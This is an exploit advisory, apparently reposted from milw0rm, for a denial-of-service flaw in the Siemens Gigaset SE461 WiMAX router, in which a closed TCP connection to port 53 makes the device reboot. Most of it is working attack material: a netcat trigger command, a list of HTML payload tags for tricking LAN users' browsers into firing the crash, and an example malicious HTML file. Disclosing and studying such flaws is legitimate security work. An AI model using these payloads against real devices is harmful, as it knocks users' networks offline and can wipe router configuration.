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Gigaset SE461 WiMAX Router - Remote Denial of Service
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Helith - 0815
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Author : Benkei
Date : 2008-02-08
Vendor : Siemens
Affected product : Gigaset SE461 WiMAX router
Firmware version : 1.5-BL024.9.6401
Propably other firmware versions are affected as well
Type : Denial of Service
OSVDB :
Milw0rm :
CVE :
ISS X-Force: :
After establishing a tcp connection to the affected device on port 53 from the
LAN interface and after closing the connection the router will restart.
Sometimes when using the web trigger with Internet explorer the WAN
configuration (ip, gateway ip, dns servers) for the device was lost and a
hardware reset was needed in order to make the device usable again.
This issue can be triggered from the LAN interface by direct connection or
by using specially crafted web content. For the web content to be able to
trigger the issue a browser withouth security restrictions on connection to
port 53 must be used, the tests done shows Internet Explorer like the only
one cappable of activating the bug.
Test made worked with Internet explorer version 7.0.6001.18000, it
didnt worked with Opera version 9.63 build 10476, Mozilla Firefox
version 3.0.1. nor Chrome 1.0.154.48. The html tags <img>, <link> an <base>
worked.
Steps to reproduce:
# direct connection
# nc -nvv 192.168.1.1 53
Or force someone into the lan segment of the router to open an html file
with one of the following tags and wait for the connection to be established
and closed. After 5 upon 10 seconds the device will reboot.
<+Tags which can get used+>
<img src="http://192.168.1.1:53" />
<img src="http://192.168.1.1:53/p.png" />
<a href="http://192.168.1.1:53">click me</a>
<link href="192.168.1.1:53" rel="stylesheet" type="text/css" />
<link href="192.168.1.1:53/p.css" rel="stylesheet" type="text/css" />
<div style="background-image:url(http://192.168.1.1:53)"></div>
<div style="background-image:url(http://192.168.1.1:53/p.png)"</div>
<object data="http://192.168.1.1:53" type="image/gif" ></object>
<object data="http://192.168.1.1:53/p.gif" type="image/gif" ></object>
<script src="http://192.168.1.1:53"></script>
<script src="http://192.168.1.1:53/p.js"></script>
<iframe src="http://192.168.1.1:53"></iframe>
<iframe src="http://192.168.1.1:53/p.html"></iframe>
<bgsound src="http://192.168.1.1:53"></bgsound>
<bgsound src="http://192.168.1.1:53/p.wav"></bgsound>
<head><base href="http://192.168.1.1:53/"></head>
<base href="http://192.168.1.1:53/" /></head>
<img src="p.jpg" />
<-End->
# example html file
# "p" is a fictional file to ensure that the browser requests something
<html>
<head>
<base href="https://192.168.2.1:53/" />
</head>
<body>
<img src="p.jpg" />
<img src="https://192.168.2.1:53/p.jpg" />
</body>
</html>
# milw0rm.com [2009-03-23]Data
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23 Mar 2009 00:00Current
7.4High risk
Vulners AI Score7.4